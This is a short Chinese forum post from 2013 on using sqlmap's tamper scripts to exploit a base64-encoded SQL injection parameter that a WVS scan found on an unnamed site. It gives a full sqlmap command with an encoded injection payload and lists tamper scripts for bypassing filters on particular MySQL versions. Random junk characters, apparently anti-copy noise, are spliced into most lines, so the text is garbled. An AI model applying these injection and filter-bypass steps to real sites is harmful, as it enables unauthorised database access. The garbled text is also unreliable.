找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2464|回复: 0
打印 上一主题 下一主题

SQlMap Tamper注入Base64编码注入点

[复制链接]
跳转到指定楼层
楼主
发表于 2013-11-23 15:50:45 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
WVS扫某站就出来一个SQL Injection,参数还是base64编码的,手工注入麻烦一步,用sqlmap怎么自动注射呢?5 i2 n9 i' V) C3 o, m  g
- V5 K4 l6 Y0 Q! J# h" Y! _
sqlmap的tamper里有个base64encode.py+ `- @8 {# L. Z

0 |, q/ V4 P1 h4 p使用如下  a7 ]! ?& J7 Z7 ?* d

  Z! W# [8 x6 psqlmap -u http://ha.cker.in/index.php?tel=LTEnIG9yICc4OCc9Jzg5 --tamper base64encode.py –dbs; C4 K- H  |* F

0 ]. l" T% ]" b3 F& V# u
2 u# a/ ~  ~9 J( g! fsqlmap拥有很多功能强力的插件,插件的使用方法: -- tamper “插件名称”
: x9 W' N" t3 k6 D  a/ A
  t& H8 p1 N" s' [* m其中常用到的bypass脚本绕过SQLMAP主要两个脚本:! ?0 o$ k/ P& |1 Y* N
. B! }7 N) S# h6 C( s* i# ^
space2hash.py ,对于MYSQL数据库 4.0, 5.0注入7 f4 s  v2 q: d% G: h6 A
space2morehash.py ,对于MYSQL数据库 >= 5.1.13 和 MySQL 5.1.41 注入
# S( f+ t2 m( t$ H' d  ^首先确定目标数据库版本,然后选择相应的脚本。7 n( n: P. F7 W2 i
-v 3 --batch --tamper "space2hash.py"* N" j8 R8 Z* [
* j7 d3 A- y% S" Y) Y6 v8 p4 B. |
还有其他一些插件:
* q7 ^* L: r' _; d2 f5 y; C5 e8 V2 oencodes编码 ——charencode.py
+ A# T# f4 q1 B' J1 v5 G* kbase64编码 —— base64encode.py/ W2 P# v1 }( I! v: c
替换空格和关键字 —— halfversionedmorekeywords.py( x9 A2 V1 b/ Q: K% ]

& R6 U# i7 x- g. e. q& h7 |' L; v1 y0 d/ C6 l
4 g6 m" |7 l  @* o& o

0 ~1 _( }: q: Y3 a/ J! K2 b- w
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表